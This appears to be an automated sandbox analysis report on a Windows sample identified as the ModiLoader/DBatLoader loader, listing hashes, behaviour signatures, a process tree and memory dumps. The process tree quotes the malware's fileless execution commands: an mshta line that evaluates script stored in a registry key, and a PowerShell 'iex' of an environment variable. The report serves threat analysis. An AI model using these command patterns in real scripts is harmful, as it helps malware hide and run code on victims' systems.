Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-12-2024 19:08

General

  • Target

    fcc845ba8438b230503fe356bb808734_JaffaCakes118.exe

  • Size

    469KB

  • MD5

    fcc845ba8438b230503fe356bb808734

  • SHA1

    a114be03ffee61671db1ba6153095c1fca1b5cd9

  • SHA256

    1ddcdfb90b30ec7b0b8d72f1409121d312204f6f246758bf21c4aa65fcd329c7

  • SHA512

    5da82f71ef83f481a36c7d326fd09d9b16a2b73f62ba765d7c21c29c4925d8413b56a0cb0557877ba308ef4606c6e11fc502b502f83bebe94492057d7f5794c6

  • SSDEEP

    12288:QHNJ+AW24baYK5hf8bryyAjsfl86uSlQ7:muAW2QK518bry5UuSlE

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modiloader family
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ModiLoader Second Stage 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fcc845ba8438b230503fe356bb808734_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\fcc845ba8438b230503fe356bb808734_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    PID:1684
  • C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" javascript:cT8sod2WV="aVBfe";tC9=new%20ActiveXObject("WScript.Shell");Sf7ADaWn="F";PC5r9P=tC9.RegRead("HKLM\\software\\Wow6432Node\\35BFelJjzD\\xFpOuF03eI");GmwzcO9O="um";eval(PC5r9P);KmSBA85oj="gDZlxKzuZ";
    1⤵
    • Process spawned unexpected child process
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1444
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:celu
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3704

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dcjnfjsf.zuh.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1684-14-0x0000000000060000-0x0000000000120000-memory.dmp

    Filesize

    768KB

  • memory/1684-10-0x0000000000400000-0x000000000047C000-memory.dmp

    Filesize

    496KB

  • memory/1684-3-0x0000000002230000-0x0000000002231000-memory.dmp

    Filesize

    4KB

  • memory/1684-4-0x0000000002230000-0x0000000002231000-memory.dmp

    Filesize

    4KB

  • memory/1684-5-0x0000000003BB0000-0x0000000003D00000-memory.dmp

    Filesize

    1.3MB

  • memory/1684-6-0x0000000002230000-0x0000000002231000-memory.dmp

    Filesize

    4KB

  • memory/1684-7-0x0000000002230000-0x0000000002231000-memory.dmp

    Filesize

    4KB

  • memory/1684-8-0x0000000002230000-0x0000000002231000-memory.dmp

    Filesize

    4KB

  • memory/1684-9-0x0000000002230000-0x0000000002231000-memory.dmp

    Filesize

    4KB

  • memory/1684-17-0x0000000000060000-0x0000000000120000-memory.dmp

    Filesize

    768KB

  • memory/1684-12-0x0000000000060000-0x0000000000120000-memory.dmp

    Filesize

    768KB

  • memory/1684-15-0x0000000000060000-0x0000000000120000-memory.dmp

    Filesize

    768KB

  • memory/1684-38-0x0000000000400000-0x000000000047C000-memory.dmp

    Filesize

    496KB

  • memory/1684-2-0x0000000002230000-0x0000000002231000-memory.dmp

    Filesize

    4KB

  • memory/1684-16-0x0000000000060000-0x0000000000120000-memory.dmp

    Filesize

    768KB

  • memory/1684-13-0x0000000000060000-0x0000000000120000-memory.dmp

    Filesize

    768KB

  • memory/1684-0-0x0000000003BB0000-0x0000000003D00000-memory.dmp

    Filesize

    1.3MB

  • memory/1684-1-0x0000000002230000-0x0000000002231000-memory.dmp

    Filesize

    4KB

  • memory/3704-36-0x0000000007530000-0x0000000007BAA000-memory.dmp

    Filesize

    6.5MB

  • memory/3704-22-0x0000000005620000-0x0000000005686000-memory.dmp

    Filesize

    408KB

  • memory/3704-23-0x0000000005690000-0x00000000056F6000-memory.dmp

    Filesize

    408KB

  • memory/3704-20-0x0000000004FF0000-0x0000000005618000-memory.dmp

    Filesize

    6.2MB

  • memory/3704-33-0x00000000057B0000-0x0000000005B04000-memory.dmp

    Filesize

    3.3MB

  • memory/3704-34-0x0000000005CD0000-0x0000000005CEE000-memory.dmp

    Filesize

    120KB

  • memory/3704-35-0x0000000006200000-0x000000000624C000-memory.dmp

    Filesize

    304KB

  • memory/3704-19-0x0000000004940000-0x0000000004976000-memory.dmp

    Filesize

    216KB

  • memory/3704-37-0x0000000006190000-0x00000000061AA000-memory.dmp

    Filesize

    104KB

  • memory/3704-21-0x0000000004F40000-0x0000000004F62000-memory.dmp

    Filesize

    136KB